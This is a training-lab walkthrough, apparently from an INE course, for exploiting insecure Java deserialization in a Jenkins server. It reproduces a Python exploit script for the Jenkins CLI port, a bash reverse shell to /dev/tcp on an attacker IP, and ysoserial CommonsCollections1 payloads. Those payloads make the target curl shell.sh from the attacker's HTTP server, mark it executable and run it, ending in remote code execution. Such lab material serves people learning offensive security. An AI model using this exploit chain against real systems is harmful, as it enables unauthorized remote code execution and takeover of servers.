Java Insecure Deserialization II

Scenario

Your goal is to exploit a vulnerable to insecure deserialization Jenkins application. Before you start, you might want to read this article which includes details regarding the discovery of that vulnerability.

Target URL: 

http://demo.ine.local
Jenkins application is served in this URL in the target machine. Use this URL to find and exploit the vulnerability.

Solution

Step 1: Start the lab. Wait until the lab is ready. Once the lab is ready, the kali Linux interface will be available on the browser.

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Step 2: Scan the network with Nmap and gather the information about the target machine.

Use the following command to get the information about open ports and services in the network.

Command: 

nmap demo.ine.local
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Got the information about the IP address and the ports which are open in the target machine.

Step 3: Inspect the Jenkins application by navigating to the IP address at port 8080 in the web browser.

Target URL: 

http://192.24.161.3:8080/

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Step 4: Copy and paste the python exploit code and save it as exploit.py.

Source: https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

Code: 

#!/usr/bin/python
#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64
host = sys.argv[1]
port = sys.argv[2]
#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])
#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
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print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)

Step 5: Create a reverse shell payload.

Copy and paste the command into a file and save it as shell.sh.

Syntax: bash -i >& /dev/tcp/<lhost>/<lport> 0>&1

Command: 

bash -i >& /dev/tcp/192.24.161.2/9999 0>&1

Step 6: Setup a Netcat listener that will be listening for connections on port 9999.

Command: 

nc -lvp 9999
4

Step 7: Host the shell.sh file using a Python SimpleHTTPServer. In the same directory where the file is present, execute the below.

Command: 

python -m SimpleHTTPServer 8888
5

Step 8: Generate a payload with a ysoserial file and make the target machine download the shell.sh file from attacker machine.

Command: 

java -jar ~/Desktop/tools/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections1 "curl http://192.24.161.2:8888/shell.sh -o /tmp/shell.sh" > /root/payload.out
6

Step 9: Execute the python exploit code.

Usage: python exploit.py <host> <port> </path/to/payload>

Command: 

python exploit.py 192.24.161.3 8080 /root/payload.out
7

This result from the python server shows that shell.sh file is downloaded by the target machine, and the payload is working as expected.

8

We have to run the python exploit two more times to execute the bash script in the target machine.

Step 10: Generate a payload again for making the downloaded shell.sh file executable.

Command: 

java -jar ~/Desktop/tools/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections1 "chmod +x /tmp/shell.sh" > /root/payload.out
9

Step 11: Execute the python code again to send the payload for making shell.sh file executable.

Command: 

python exploit.py 192.24.161.3 8080 /root/payload.out
10

Step 12: Generate a payload for executing the downloaded shell.sh file again.

Command: 

java -jar ~/Desktop/tools/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections1 "/bin/bash /tmp/shell.sh" > /root/payload.out
11

Step 13: Execute the python code again to send the payload to the target machine for executing shell.sh file.

Command: 

python exploit.py 192.24.161.3 8080 /root/payload.out
12

Step 14: Open the terminal where the Netcat was listening. The shell should arrive on the Netcat listener.

Check the id by the following command.

Command: 

id

13

Successfully achieved remote code execution.